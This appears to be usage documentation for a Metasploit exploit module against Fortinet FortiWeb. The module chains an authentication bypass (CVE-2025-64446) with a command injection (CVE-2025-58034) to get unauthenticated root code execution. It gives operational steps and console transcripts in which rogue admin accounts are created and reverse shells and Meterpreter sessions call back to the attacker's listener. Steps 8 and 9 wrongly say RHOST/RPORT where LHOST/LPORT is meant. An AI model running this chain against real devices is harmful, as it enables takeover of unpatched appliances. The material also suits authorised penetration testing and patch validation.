## Vulnerable Application
This exploit module exploits an authentication bypass via path traversal vulnerability in the Fortinet
FortiWeb management interface to create a new local administrator user account. From there a command
injection vulnerability is leveraged to achieve RCE with root privileges.

The auth bypass `CVE-2025-64446` affects the following versions:

* FortiWeb `8.0.0` through `8.0.1` (Patched in `8.0.2` and above)
* FortiWeb `7.6.0` through `7.6.4` (Patched in `7.6.5` and above)
* FortiWeb `7.4.0` through `7.4.9` (Patched in `7.4.10` and above)
* FortiWeb `7.2.0` through `7.2.11` (Patched in `7.2.12` and above)
* FortiWeb `7.0.0` through `7.0.11` (Patched in `7.0.12` and above)

The command injection `CVE-2025-58034` affects the following versions (Note the `7.6` and `7.4` branches are very
slightly different when compared to the patch versions for `CVE-2025-64446`:

* FortiWeb `8.0.0` through `8.0.1` (Patched in `8.0.2` and above)
* FortiWeb `7.6.0` through `7.6.5` (Patched in `7.6.6` and above) *<-- slight difference*
* FortiWeb `7.4.0` through `7.4.10` (Patched in `7.4.11` and above) *<-- slight difference*
* FortiWeb `7.2.0` through `7.2.11` (Patched in `7.2.12` and above)
* FortiWeb `7.0.0` through `7.0.11` (Patched in `7.0.12` and above)

Note: Unsupported versions `6.*` are also affected. 

This exploit module has been confirmed to work against `8.0.1`, `7.4.8`, `6.4.3`, and `6.3.9`.

## Testing
Download a suitable FortiWeb-VM image and create a new VM. When creating the VM, assign the first network interface to a
network you can target later (e.g. your external network), optionally, assign the second network interface to a private
network. Power on the VM, and login to the console with the default username `admin` and a blank password. You will be
asked to create a new admin password. Once you are at the CLI, you can assign an IP address to the management
interface (on `port1`) for your (external) network:

```
FortiWeb # config system interface 

FortiWeb (interface) # edit port1 

FortiWeb (port1) # set ip 192.168.86.200 255.255.255.0

FortiWeb (port1) # end

FortiWeb #
```

A default gateway (for example `192.168.86.1`) can be configured as follows:

```
FortiWeb # config router static
 
FortiWeb (static) # edit 0
 
FortiWeb (1) # set gateway 192.168.86.1
 
FortiWeb (1) # set device port1
 
FortiWeb (1) # end

FortiWeb #  
```

You should now be able to access the management interface via HTTPS, e.g. `https://192.168.86.200/login`.

## Options
The following advanced options do not need to be changed against a target in a default configuration.

### FortiWebAdminUsername
A valid admin username to use. A new admin account will be created if not specified. (Defaults to a random value).

### FortiWebAdminPassword
A valid admin password to use. A new admin account will be created if not specified. (Defaults to a random value).

### FortiWebAccessProfile
The access profile to use for the new admin account (Defaults to `prof_admin`).

### FortiWebDomain
The domain to use for the new admin account (Defaults to `root`).

### FortiWebDefaultAdminAccount
The default FortiWeb admin account name (Defaults to `admin`).

### FortiWebWritableDir
The full path of a writable directory on the target (Defaults to `/tmp`).

## Verification Steps

1. Start msfconsole
2. `use exploit/linux/http/fortinet_fortiweb_rce`

Configure the target:

3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set RPORT <TARGET_HTTP_OR_HTTPS_PORT>` (If different from the default of 443)
5. `set SSL true` (Or set to false if targeting HTTP)
6. `set target 0` (Target `0` is against FortiWeb `8.*` devices, and Target `1` is against FortiWeb `7.*` and `6.*` devices)

Configure the payload to execute:

7. `set PAYLOAD cmd/unix/reverse_bash`
8. `set RHOST eth0`
9. `set RPORT 4444`

_Note_: These payloads have been verified to work against FortiWeb versions `8.*`:
* `cmd/unix/reverse_bash`
* `cmd/unix/reverse_openssl`

If targeting FortiWeb `7.*` or `6.*`, these payloads have been verified to work:
* `cmd/unix/reverse_bash`
* `cmd/linux/http/x64/meterpreter_reverse_tcp`

Run the module:

10. `check`
11. `exploit`

## Scenarios

### Example 1 (CVE-2025-64446 + CVE-2025-58034, against FortiWeb 8.0.1)

In this example, `CVE-2025-64446` is used to create a new admin account and then `CVE-2025-58034` is used
to execute a payload. This chain gives unauthenticated RCE and is the default operation of the exploit module.

```
msf > use exploit/linux/http/fortinet_fortiweb_rce 
[*] Using configured payload cmd/unix/reverse_bash
msf exploit(linux/http/fortinet_fortiweb_rce) > set RHOST 192.168.86.202
RHOST => 192.168.86.202
msf exploit(linux/http/fortinet_fortiweb_rce) > set LHOST eth0
LHOST => eth0
msf exploit(linux/http/fortinet_fortiweb_rce) > show options 

Module options (exploit/linux/http/fortinet_fortiweb_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, http, socks5, socks5h
   RHOSTS     192.168.86.202   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      443              yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  eth0             yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   FortiWeb 8.x



View the full module info with the info, or info -d command.

msf exploit(linux/http/fortinet_fortiweb_rce) > check
[*] 192.168.86.202:443 - The target appears to be vulnerable.
msf exploit(linux/http/fortinet_fortiweb_rce) > exploit 
[*] Started reverse TCP handler on 192.168.86.122:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Creating a new admin account via CVE-2025-64446...
[+] New admin account successfully created: isela_fritsch:LpWXiFof
[*] Logging in...
[+] Successfully logged in as isela_fritsch
[+] Detected target version: 8.0.1
[*] Executing payload via CVE-2025-58034...
[*] Uploading bootstrap payload chunk 1 of 4...
[*] Uploading bootstrap payload chunk 2 of 4...
[*] Uploading bootstrap payload chunk 3 of 4...
[*] Uploading bootstrap payload chunk 4 of 4...
[*] Amalgamating bootstrap payload chunks...
[*] Executing bootstrap payload...
[+] Finished.
[*] Command shell session 1 opened (192.168.86.122:4444 -> 192.168.86.202:19470) at 2025-11-21 11:33:33 +0000

id
uid=0(root) gid=0(root)
uname -a
Linux FortiWeb 6.1.62 #1 SMP Fri Aug 22 21:26:25 UTC 2025 x86_64 GNU/Linux
cat /VERSION
8.0.1-B0047
exit
[*] 192.168.86.202 - Command shell session 1 closed.
```

### Example 2 (CVE-2025-58034, against FortiWeb 8.0.1)

In this example, the attacker has existing admin credentials, so only `CVE-2025-58034` is used
to execute a payload.

```
msf exploit(linux/http/fortinet_fortiweb_rce) > set FortiWebAdminUsername hax0r
FortiWebAdminUsername => hax0r
msf exploit(linux/http/fortinet_fortiweb_rce) > set FortiWebAdminPassword hax0r
FortiWebAdminPassword => hax0r
msf exploit(linux/http/fortinet_fortiweb_rce) > exploit 
[*] Started reverse TCP handler on 192.168.86.122:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[+] Using existing admin credentials: hax0r:hax0r
[*] Logging in...
[+] Successfully logged in as hax0r
[+] Detected target version: 8.0.1
[*] Executing payload via CVE-2025-58034...
[*] Uploading bootstrap payload chunk 1 of 4...
[*] Uploading bootstrap payload chunk 2 of 4...
[*] Uploading bootstrap payload chunk 3 of 4...
[*] Uploading bootstrap payload chunk 4 of 4...
[*] Amalgamating bootstrap payload chunks...
[*] Executing bootstrap payload...
[+] Finished.
[*] Command shell session 2 opened (192.168.86.122:4444 -> 192.168.86.202:3684) at 2025-11-21 11:34:57 +0000

id
uid=0(root) gid=0(root)
uname -a
Linux FortiWeb 6.1.62 #1 SMP Fri Aug 22 21:26:25 UTC 2025 x86_64 GNU/Linux
cat /VERSION
8.0.1-B0047
exit
[*] 192.168.86.202 - Command shell session 2 closed.
```

### Example 3 (CVE-2025-64446 + CVE-2025-58034, against FortiWeb 6.3.9)

In this example we are targeting an older unsupported version of FortiWeb, `6.3.9`. To do this we must change the 
exploit target from `0` to `1`, and choose either a Linux or a Unix payload.

```
msf exploit(linux/http/fortinet_fortiweb_rce) > show targets

Exploit targets:
=================

    Id  Name
    --  ----
=>  0   FortiWeb 8.x
    1   FortiWeb 7.x and 6.x


msf exploit(linux/http/fortinet_fortiweb_rce) > set target 1
target => 1
msf exploit(linux/http/fortinet_fortiweb_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp 
PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp
msf exploit(linux/http/fortinet_fortiweb_rce) > set RHOST 192.168.86.204
RHOST => 192.168.86.204
msf exploit(linux/http/fortinet_fortiweb_rce) > show options 

Module options (exploit/linux/http/fortinet_fortiweb_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, http, socks4, socks5, socks5h
   RHOSTS     192.168.86.204   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      443              yes       The target port (TCP)
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path
   VHOST                       no        HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   FETCH_COMMAND   CURL             yes       Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP, WGET)
   FETCH_DELETE    true             yes       Attempt to delete the binary after execution
   FETCH_FILELESS  none             yes       Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant al
                                              so Python ≥3.8 (Accepted: none, bash, python3.8+)
   FETCH_SRVHOST                    no        Local IP to use for serving payload
   FETCH_SRVPORT   8080             yes       Local port to use for serving payload
   FETCH_URIPATH                    no        Local URI to use for serving payload
   LHOST           eth0             yes       The listen address (an interface may be specified)
   LPORT           4444             yes       The listen port


   When FETCH_COMMAND is one of CURL,GET,WGET:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FETCH_PIPE  false            yes       Host both the binary payload and the command so it can be piped directly to the shell.


   When FETCH_FILELESS is none:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_FILENAME      HxxLnwIWgkV      no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_WRITABLE_DIR  /tmp             yes       Remote writable dir to store payload; cannot contain spaces


Exploit target:

   Id  Name
   --  ----
   1   FortiWeb 7.x and 6.x



View the full module info with the info, or info -d command.

msf exploit(linux/http/fortinet_fortiweb_rce) > exploit 
[*] Started reverse TCP handler on 192.168.86.122:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Creating a new admin account via CVE-2025-64446...
[+] New admin account successfully created: oren_hessel:BtNLqzMt
[*] Logging in...
[+] Successfully logged in as oren_hessel
[+] Detected target version: 6.3.9
[*] Executing payload via CVE-2025-58034...
[*] Uploading bootstrap payload chunk 1 of 7...
[*] Uploading bootstrap payload chunk 2 of 7...
[*] Uploading bootstrap payload chunk 3 of 7...
[*] Uploading bootstrap payload chunk 4 of 7...
[*] Uploading bootstrap payload chunk 5 of 7...
[*] Uploading bootstrap payload chunk 6 of 7...
[*] Amalgamating bootstrap payload chunks...
[*] Executing bootstrap payload...
[+] Finished.
[*] Meterpreter session 4 opened (192.168.86.122:4444 -> 192.168.86.204:23094) at 2025-11-27 12:17:30 +0000

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.86.204
OS           :  (Linux 5.4.0)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > shell
Process 9873 created.
Channel 1 created.
id      
uid=0(root) gid=0
cli admin console
FortiWeb # get system status
International Version: FortiWeb-HyperV 6.39,build1117(GA),201125
```
